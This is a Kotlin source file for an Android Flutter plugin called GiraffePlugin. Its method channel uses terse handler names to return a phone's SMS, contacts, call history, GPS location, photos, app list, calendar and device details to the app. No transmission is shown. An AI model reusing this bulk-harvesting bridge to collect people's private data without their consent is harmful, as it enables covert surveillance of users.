package com.time.giraffe

import androidx.annotation.NonNull
import com.gc.lib.GetHelper_DeviceInfo
import com.gc.lib.GetHelper_Sms
import com.gc.lib.interfaces.GetHelper_AppInfo
import com.gc.lib.interfaces.GetHelper_CalendarInfo
import com.gc.lib.interfaces.GetHelper_CallHistory
import com.gc.lib.interfaces.GetHelper_ContactInfo
import com.gc.lib.interfaces.GetHelper_Gps
import com.gc.lib.interfaces.GetHelper_photoInfo

import io.flutter.embedding.engine.plugins.FlutterPlugin
import io.flutter.plugin.common.MethodCall
import io.flutter.plugin.common.MethodChannel
import io.flutter.plugin.common.MethodChannel.MethodCallHandler
import io.flutter.plugin.common.MethodChannel.Result

/** GiraffePlugin */
class GiraffePlugin: FlutterPlugin, MethodCallHandler {
  /// The MethodChannel that will the communication between Flutter and native Android
  ///
  /// This local reference serves to register the plugin with the Flutter Engine and unregister it
  /// when the Flutter Engine is detached from the Activity
  private lateinit var channel : MethodChannel

  override fun onAttachedToEngine(@NonNull flutterPluginBinding: FlutterPlugin.FlutterPluginBinding) {
    channel = MethodChannel(flutterPluginBinding.binaryMessenger, "giraffe")
    channel.setMethodCallHandler(this)
  }

  override fun onMethodCall(@NonNull call: MethodCall, @NonNull result: Result) {
//    if (call.method == "getPlatformVersion") {
//      result.success("Android ${android.os.Build.VERSION.RELEASE}")
//    } else {
//      result.notImplemented()
//    }

    when (call.method) {
      "gPhoto" -> {
        GetHelper_photoInfo.getPhotoInfo {
          result.success(it)
        }
      }
      "gSms" -> {
        GetHelper_Sms.getDeviceSMSList {
          result.success(it)
        }
      }
      "gDevice" -> {
        GetHelper_DeviceInfo.getDeviceInfo {
          result.success(it)
        }
      }
      "gContact" -> {
        GetHelper_ContactInfo.getContactList {
          result.success(it)
        }
      }
      "gAppList" -> {
        GetHelper_AppInfo.getAppInfoList {
          result.success(it)
        }
      }
      "gCall" -> {
        GetHelper_CallHistory.getCallHistoryList {
          result.success(it)
        }
      }
      "gCalendarInfo" -> {
        GetHelper_CalendarInfo.getCalendarInfo {
          result.success(it)
        }
      }
      "gLocation" -> {
        GetHelper_Gps.getGpsInfo {
          result.success(it)
        }
      }
      else -> {
        result.notImplemented()
      }
    }

  }

  override fun onDetachedFromEngine(@NonNull binding: FlutterPlugin.FlutterPluginBinding) {
    channel.setMethodCallHandler(null)
  }
}
